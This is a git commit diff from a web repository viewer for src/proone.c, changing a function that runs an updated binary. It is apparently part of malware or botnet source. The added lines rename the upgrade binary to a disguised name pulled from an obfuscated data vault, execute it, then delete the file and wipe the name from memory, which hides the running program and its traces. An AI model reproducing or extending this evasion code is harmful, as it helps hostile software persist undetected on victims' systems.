aboutsummaryrefslogtreecommitdiff
path: root/src/proone.c
diff options
context:
space:
mode:
Diffstat (limited to 'src/proone.c')
-rw-r--r--src/proone.c14
1 files changed, 13 insertions, 1 deletions
diff --git a/src/proone.c b/src/proone.c
index 4429204..23be2d8 100644
--- a/src/proone.c
+++ b/src/proone.c
@@ -1167,15 +1167,23 @@ static void run_upbin (void) {
char **args = NULL;
char *add_args[1] = { NULL };
char *m_args = NULL;
+ const char *path = prne_s_g->upbin_path;
// copy data from shared global as it will be unmapped before exec() call.
- add_args[0] = prne_dup_str(prne_s_g->upbin_path);
+ add_args[0] = prne_dup_str(
+ prne_dvault_get_cstr(PRNE_DATA_KEY_EXEC_NAME, NULL));
+ prne_dvault_reset();
m_args = prne_malloc(1, sizeof(prne_s_g->upbin_args));
if (add_args[0] == NULL || m_args == NULL) {
goto END;
}
memcpy(m_args, prne_s_g->upbin_args, sizeof(prne_s_g->upbin_args));
+ if (rename(prne_s_g->upbin_path, add_args[0]) != 0) {
+ goto END;
+ }
+ path = add_args[0];
+
args = prne_htbt_parse_args(
m_args,
sizeof(prne_s_g->upbin_args),
@@ -1190,6 +1198,10 @@ static void run_upbin (void) {
do_exec(args[0], args);
END:
+ unlink(path);
+ prne_s_g->upbin_path[0] = 0;
+
+ prne_strzero(add_args[0]);
prne_free(add_args[0]);
prne_free(m_args);
prne_free(args);